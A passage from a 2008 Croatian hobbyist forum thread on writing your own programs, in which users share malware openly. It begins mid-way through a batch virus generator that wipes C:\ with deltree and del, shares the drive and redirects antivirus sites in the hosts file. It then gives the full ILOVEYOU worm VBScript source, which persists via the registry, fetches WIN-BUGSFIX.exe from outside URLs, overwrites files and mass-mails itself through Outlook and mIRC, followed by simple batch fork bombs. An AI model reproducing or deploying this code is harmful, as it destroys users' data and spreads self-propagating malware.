IF "%answer%"=="yes" goto start
goto copy
IF not "%answer%"=="yes" goto copy
goto copy
:copy
Echo Copy TO %WINDIR% A:\ P2P FOLDER? YES OR NO
set /p answer2=%answer2%
IF "%answer2%"=="yes" GOTO START2
:DEL
echo Delete Windows?
set /p answer3=%answer3%
IF "%answer3%"=="yes" GOTO START3

echo Share c:\
set /p answer4=%answer4%
IF "%answer4%"=="yes" GOTO START4

:lmhost
echo Stop From Going To Anti-Virus Websites?
set /p answer5=%answer5%
IF "%answer5%"=="yes" GOTO ass
IF "%answer5%"=="no" exit





:start
echo COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.bat
goto copy
:start
:START2
echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.bat
echo COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.bat
echo COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.bat
echo COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.bat
echo COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.bat
echo copy c:\windows\%filename%.BAT>>c:\%filename%.bat
ECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BAT
GOTO DEL
:start2

:start3
echo deltree /y c:\>>c:\%FILENAME%.BAT
echo del c:\ /y /s>>c:\%FILENAME%.BAT
:start3
:start 4
echo net share c:\=haxor>>c:\%filename%.bat
goto lmhost
:start 4
:ass
echo cmd /c "echo 127.0.0.1 www.symantec.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.sophos.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.mcafee.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.kaspersky.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.trendmicro.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.bitdefender.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.norman.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.grisoft.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.google.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 messenger.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
exit
:ass
pause
[Vrh] Go down
stulic
Legenda
stulic


Broj postova : 279
Join date : 03.03.2008
Age : 31
Lokacija : tu i tamo,ravno pa pravo....Aenona - Nin

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptysri ožu 19, 2008 8:04 pm

I-LOVE-YOU-source
---------------------

rem barok -loveletter(vbe)< i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi
n32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX
.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX
X",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
(s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META
NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY>
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read
this HTML file<BR>- Please press #-#YES#-# button to Enable
ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru
n^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
[Vrh] Go down
Dragonhart
Legenda
Dragonhart


Broj postova : 190
Join date : 27.02.2008
Age : 31

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptypet ožu 21, 2008 1:58 pm

Evo da ne pišete 100 puta start
upišite ovo puno je bolje


:1
START
goto 1
[Vrh] Go down
Dragonhart
Legenda
Dragonhart


Broj postova : 190
Join date : 27.02.2008
Age : 31

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptypon ožu 24, 2008 2:27 pm

Evo zabavna stvar otvara i zatvara cmd.

:1
start ; exit
goto 1
spremite kao nešto.bat
[Vrh] Go down
Admin
Admin
Admin


Broj postova : 78
Join date : 27.02.2008
Lokacija : Zagreb

Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Emptypon ožu 24, 2008 10:33 pm

...samo bi viruse radio a?...hehe Very Happy
[Vrh] Go down
https://zeus.forumcroatian.com
Sponsored content





Samostalna izrada programa. Empty
PostajNaslov: Re: Samostalna izrada programa.   Samostalna izrada programa. Empty

[Vrh] Go down
 
Samostalna izrada programa.
[Vrh] 
Stranica 1 / 3.Go to page : 1, 2, 3  Next
 Similar topics
-
» Antivirusi

Permissions in this forum:Ne možeš odgovarati na postove.
Zeus :: -Računala- :: Software :: Programs-
Forum(o)Bir: